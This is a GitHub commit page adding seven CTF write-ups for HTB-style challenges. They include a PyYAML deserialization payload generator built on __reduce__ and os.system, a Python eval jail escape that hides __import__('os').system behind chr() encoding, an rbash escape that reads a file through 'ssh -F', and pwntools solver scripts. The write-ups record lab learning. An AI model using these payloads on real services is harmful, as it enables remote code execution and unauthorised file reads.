Skip to content

Commit d1090e0

Browse files
committed
docs: Add misc writeups
1 parent a0276bf commit d1090e0

File tree

7 files changed

+356
-0
lines changed

7 files changed

+356
-0
lines changed

misc/hijack.md

Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
# Hijack (easy)
2+
This challenge will use python YML deserialization.
3+
4+
When connecting to the remote we can generate a config load a config or exit
5+
6+
When we generate a config we get a base64 string
7+
```
8+
ISFweXRob24vb2JqZWN0Ol9fbWFpbl9fLkNvbmZpZyB7SVJfc3BlY3Ryb21ldGVyX3RlbXA6ICcxMCcsIGF1dG9fY2FsaWJyYXRpb246ICdPTicsCiAgcHJvcHVsc2lvbl90ZW1wOiAnMTAnLCBzb2xhcl9hcnJheV90ZW1wOiAnMTAnLCB1bml0czogRn0K
9+
```
10+
11+
When decoded:
12+
```
13+
!!python/object:__main__.Config {IR_spectrometer_temp: '10', auto_calibration: 'ON',
14+
propulsion_temp: '10', solar_array_temp: '10', units: F}
15+
```
16+
17+
First I noted that this is a python service running on the remote.
18+
After looking for a similar structured string online I found out that this is what YML serialization looked like
19+
20+
Next I had looked at how this can be exploited.
21+
It seems that there are 2 types of load functions:
22+
* `safe_load` - will not deserialize class objects
23+
* `load` - will deserialize class objects
24+
25+
I tried my luck with hoping that it will use unsafe deseralization, and it was
26+
27+
```python
28+
# https://book.hacktricks.xyz/pentesting-web/deserialization/python-yaml-deserialization
29+
# HTB{1s_1t_ju5t_m3_0r_iS_1t_g3tTing_h0t_1n_h3r3?}
30+
import yaml
31+
import base64
32+
from yaml import UnsafeLoader, FullLoader, Loader
33+
import subprocess
34+
import os
35+
36+
class Payload(object):
37+
def __reduce__(self):
38+
return (os.system,('cat flag.txt',))
39+
40+
deserialized_data = yaml.dump(Payload()) # serializing data
41+
print(base64.b64encode(deserialized_data))
42+
```
43+
44+
Before the final version I have submitted some other commands to find out where the flag is on the system.

misc/janken.md

Lines changed: 87 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,87 @@
1+
# Janken (easy)
2+
For this challenge we get a binary that will be running on the remote.
3+
4+
First I check the rules of the game, and it seems like a rock, paper, scissors game.
5+
When playing we can type rock, paper, scissors, the opponent will guess as well and we need to win 100 times.
6+
Let's see how the game is implemented in ghidra
7+
8+
```c
9+
for (; rounds < 100; rounds = rounds + 1) {
10+
fprintf(stdout,"\n[*] Round [%d]:\n",rounds);
11+
game();
12+
}
13+
```
14+
15+
In main we see that the `game` function is called 100 times, let's see what the `game` function does.
16+
17+
```c
18+
tVar2 = time((time_t *)0x0);
19+
srand((uint)tVar2);
20+
iVar1 = rand();
21+
local_78[0] = "rock";
22+
local_78[1] = "scissors";
23+
local_78[2] = "paper";
24+
local_38 = 0;
25+
local_30 = 0;
26+
local_28 = 0;
27+
local_20 = 0;
28+
local_58[0] = "paper";
29+
local_58[1] = "rock";
30+
local_58[2] = "scissors";
31+
fwrite(&DAT_00102540,1,0x33,stdout);
32+
read(0,&local_38,0x1f);
33+
fprintf(stdout,"\n[!] Guru\'s choice: %s%s%s\n[!] Your choice: %s%s%s",&DAT_00102083,
34+
local_78[iVar1 % 3],&DAT_00102008,&DAT_0010207b,&local_38,&DAT_00102008);
35+
local_88 = 0;
36+
do {
37+
sVar4 = strlen((char *)&local_38);
38+
if (sVar4 <= local_88) {
39+
LAB_001017a2:
40+
pcVar5 = strstr((char *)&local_38,local_58[iVar1 % 3]);
41+
if (pcVar5 == (char *)0x0) {
42+
fprintf(stdout,"%s\n[-] You lost the game..\n\n",&DAT_00102083);
43+
/* WARNING: Subroutine does not return */
44+
exit(0x16);
45+
}
46+
fprintf(stdout,"\n%s[+] You won this round! Congrats!\n%s",&DAT_0010207b,&DAT_00102008);
47+
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
48+
/* WARNING: Subroutine does not return */
49+
__stack_chk_fail();
50+
}
51+
return;
52+
}
53+
ppuVar3 = __ctype_b_loc();
54+
if (((*ppuVar3)[*(char *)((long)&local_38 + local_88)] & 0x2000) != 0) {
55+
*(undefined *)((long)&local_38 + local_88) = 0;
56+
goto LAB_001017a2;
57+
}
58+
local_88 = local_88 + 1;
59+
} while( true );
60+
```
61+
62+
First our input is read, and the opponent chooses a random move.
63+
`local_78` is the array of moves for the opponent.
64+
At matching indices `local_58` contains the winning moves that we need to make, important to note how a draw counts as a lose for some reason.
65+
66+
But look at what function is used! `strstr` looks for the second argument in the first argument, and returns the index of the first occurrence or NULL if not found.
67+
68+
Now notice how when reading user input 0x1f bytes are read.
69+
70+
We can just send `rockpaperscissors` on each choice and it would surely contain the winning move!
71+
72+
```python
73+
from pwn import *
74+
p = remote('165.227.224.40', 30509)
75+
76+
payload = 'rockpaperscissors'
77+
p.sendlineafter(b'>>', b'1')
78+
79+
for i in range(99):
80+
p.sendlineafter(b'>>', b'rockpaperscissors')
81+
print(f'sent {i}')
82+
p.interactive()
83+
```
84+
85+
For some reason there was an issue with sending this 100 times, so I decreased the count to 99
86+
87+
After this the opponent gives us the flag.

misc/nehebkaus_trap.md

Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
# Nehebkaus trap (medium)
2+
For this challenge the remote allows us to send input.
3+
4+
After some trial and error I sent
5+
`print(1)` and I got back 1 as the result. This seems like python evaluates whatever we input
6+
7+
Let's try `print('test')`!
8+
Oh, this contains a blacklisted character :(
9+
10+
But parentheses work! We can construct any string we want by doing `chr(<ascii code>)+...+chr(<ascii code>)`
11+
And luckily the `+` is also allowed.
12+
13+
Now all that is left to do is to encode our payload with the following method to get the flag:
14+
15+
```python
16+
def obf(inp):
17+
ans = []
18+
for c in inp:
19+
ans.append(f'chr({ord(c)})')
20+
return '+'.join(ans)
21+
22+
shell_cmd = 'cat flag.txt'
23+
eval_content = f'__import__("os").system("{shell_cmd}")'
24+
command = f'print(eval({obf(eval_content)}))'
25+
26+
print(command)
27+
```

misc/persistence.md

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
# Persistence (very easy)
2+
This challenge asks us to send around 1000 request to a `/flag` endpoint.
3+
4+
```python
5+
import requests
6+
for i in range(0, 2000):
7+
resp = requests.get('http://165.232.108.36:30519/flag')
8+
if b'HTB' in resp.content: print(resp.content)
9+
```

misc/remote_computation.md

Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
# Remote computation (easy)
2+
In this challenge we will need to perform some computation coming from a remote
3+
4+
First let's read through the **help** menu
5+
6+
```
7+
Results
8+
---
9+
All results are rounded
10+
to 2 digits after the point.
11+
ex. 9.5752 -> 9.58
12+
13+
Error Codes
14+
---
15+
* Divide by 0:
16+
This may be alien technology,
17+
but dividing by zero is still an error!
18+
Expected response: DIV0_ERR
19+
20+
* Syntax Error
21+
Invalid expressions due syntax errors.
22+
ex. 3 +* 4 = ?
23+
Expected response: SYNTAX_ERR
24+
25+
* Memory Error
26+
The remote machine is blazingly fast,
27+
but its architecture cannot represent any result
28+
outside the range -1337.00 <= RESULT <= 1337.00
29+
Expected response: MEM_ERR
30+
```
31+
32+
So now we know something about rounding and the types of errors we should have.
33+
34+
I will shamelessly pass all the input to `eval` in python.
35+
It would have been funny if they sent an RCE :)
36+
37+
The errors are pretty much already covered by python and the calculation logic is obviously implemented.
38+
39+
```python
40+
from pwn import *
41+
p = remote('165.227.224.40', 30418)
42+
43+
p.sendlineafter(b'>', b'1')
44+
45+
for i in range(0, 500):
46+
req = p.recvuntil(b'=')
47+
eq = req.split(b': ')[1][:-2]
48+
print(eq)
49+
ans = None
50+
try:
51+
ans = round(eval(eq), 2)
52+
if ans < -1337.00 or ans > 1337.00: ans = 'MEM_ERR'
53+
else: ans = str(ans)
54+
except ZeroDivisionError:
55+
ans = 'DIV0_ERR'
56+
except SyntaxError:
57+
ans = 'SYNTAX_ERR'
58+
59+
print(f' -- {ans}')
60+
p.sendlineafter(b'>', bytes(ans, 'utf-8'))
61+
p.interactive()
62+
```

misc/restricted.md

Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
# Restricted (easy)
2+
In this challenge we will try to bypass a restricted bash shell
3+
4+
From the `Dockerfile` we see that a restricted environment is set up.
5+
* Our user will be the **restricted** user
6+
* As shell we will have `rbash`
7+
* We will have access to 3 executables: `top`, `uptime` and `ssh`
8+
* Our path is restricted to the `.bin` folder in our home directory
9+
10+
Reading the ssh configuration I found the following line:
11+
```
12+
Match user restricted
13+
PermitEmptyPasswords yes
14+
```
15+
16+
Okay so we can log in using the **restricted** user through ssh.
17+
18+
Once on the system it seems that we can't do anything.
19+
This is a good time to go to [GTFO bins](https://gtfobins.github.io/) to see if there is any way to escape our restricted environment.
20+
21+
`top` and `uptime` don't seem helpful, however `ssh` seems promising.
22+
23+
I went to the file read section, which suggested a way to read files outside of the restricted environment.
24+
25+
From the docker file we already know the flag is in `/flag<random>`, so we use the following command on the remote:
26+
27+
```
28+
ssh -F /flag* localhost -p 1337
29+
```
30+
31+
This will read us the flag :)

misc/the_chasms_crossing_conondrum.md

Lines changed: 96 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,96 @@
1+
# The chasm's crossing conundrum (hard)
2+
First I get the instructions of the game
3+
4+
```
5+
☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠
6+
☠ ☠️
7+
☠ [*] The path ahead is treacherous. ☠️
8+
☠ [*] You have to find a viable strategy to get everyone across safely. ☠️
9+
☠ [*] The bridge can hold a maximum of two persons. ☠️
10+
☠ [*] The chasm lurks on either side of the bridge waiting for those ☠️
11+
☠ who think they can get across in total darkness. ☠️
12+
☠ [*] If two persons get across, one must come back with the flashlight. ☠️
13+
☠ [*] The flashlight has energy only for a limited amount of time. ☠️
14+
☠ [*] The time required for two persons to cross, is dictated by the slower. ☠️
15+
☠ [*] The answer must be given in crossing and returning pairs. For example, ☠️
16+
☠ [1,2],[2],... . This means that persons 1 and 2 cross and 2 gets back ☠️
17+
☠ with the flashlight so others can cross. ☠️
18+
☠ ☠️
19+
☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠
20+
```
21+
22+
Basically:
23+
* cross a bridge
24+
* only one flashlight is available which is limited
25+
* flashlight is required to cross
26+
* at most 2 people can cross
27+
* each person has a different time to cross
28+
* the crossing speed is that of the slowest person on the bridge
29+
30+
First I have thought that a greedy solution would be good for this challenge.
31+
This would mean that I find the fastest person and then always send from one side the fastest person and someone, and then only the fastest person on the way back.
32+
33+
After trying and failing a couple of times I started to question whether this was truly the best approach.
34+
35+
I had a slight intuition that we could send the 2 slowest people across, because that would essentially delete the time penalty of the second slowest person, whereas with my approach we always take the time penalty of every person.
36+
37+
The basic 4 person version of this problem is quite popular as internet browsing suggests.
38+
39+
1. Send 2 fastest
40+
2. Send fastest back
41+
3. Send 2 slowest
42+
4. Send 2nd fastest back
43+
5. Make 2 fastest cross together
44+
6. win
45+
46+
However extending this to multiple people, or having an algorithm to give the ordering of people and not just the shortest time was not so popular anymore.
47+
48+
Still I have tried going with this approach and hard coding sending some fastest and slowest pairs.
49+
50+
In the end my algorithm doesn't always produce the perfect solution, however for some instance of the problem it does, and that resulted in the flag.
51+
52+
```python
53+
# algorithm incorrect, but works some of the time
54+
# greedy not a good solution
55+
# known solution is DP but without who crosses when, only the min cross time
56+
# solution wants optimal cross time
57+
ppl = {
58+
1: 66,
59+
2: 43,
60+
3: 33,
61+
4: 1,
62+
5: 62,
63+
6: 17,
64+
7: 68,
65+
8: 40,
66+
}
67+
68+
battery = 232
69+
70+
ppl_sorted = {k: v for k, v in sorted(ppl.items(), key=lambda item: item[1])}
71+
print(ppl_sorted)
72+
ppl_sorted = list(ppl_sorted.items())
73+
74+
ans = []
75+
ans.append(f'[{ppl_sorted[0][0]},{ppl_sorted[1][0]}]')
76+
ans.append(f'[{ppl_sorted[0][0]}]')
77+
ans.append(f'[{ppl_sorted[-1][0]},{ppl_sorted[-2][0]}]')
78+
ans.append(f'[{ppl_sorted[1][0]}]')
79+
ans.append(f'[{ppl_sorted[0][0]},{ppl_sorted[1][0]}]')
80+
ans.append(f'[{ppl_sorted[0][0]}]')
81+
ans.append(f'[{ppl_sorted[-3][0]},{ppl_sorted[-4][0]}]')
82+
ans.append(f'[{ppl_sorted[1][0]}]')
83+
84+
cost = (ppl_sorted[1][1] * 2 + ppl_sorted[0][1]) * 2 + ppl_sorted[-1][1] + ppl_sorted[-3][1]
85+
for i in range(1, len(ppl)-4):
86+
ans.append(f'[{ppl_sorted[0][0]},{ppl_sorted[i][0]}]')
87+
cost += ppl_sorted[i][1]
88+
if i != len(ppl) - 5:
89+
ans.append(f'[{ppl_sorted[0][0]}]')
90+
cost += ppl_sorted[0][1]
91+
92+
print(','.join(ans))
93+
print(cost)
94+
```
95+
96+
I print the `cost` which is the time spent so that I can immediately see if a solution will be accepted by the remote. I never made a script that does this automatically instead I just copied the input values by hand.

0 commit comments

Comments
 (0)
pFad - Phonifier reborn

Pfad - The Proxy pFad of © 2024 Garber Painting. All rights reserved.

Note: This service is not intended for secure transactions such as banking, social media, email, or purchasing. Use at your own risk. We assume no liability whatsoever for broken pages.


Alternative Proxies:

Alternative Proxy

pFad Proxy

pFad v3 Proxy

pFad v4 Proxy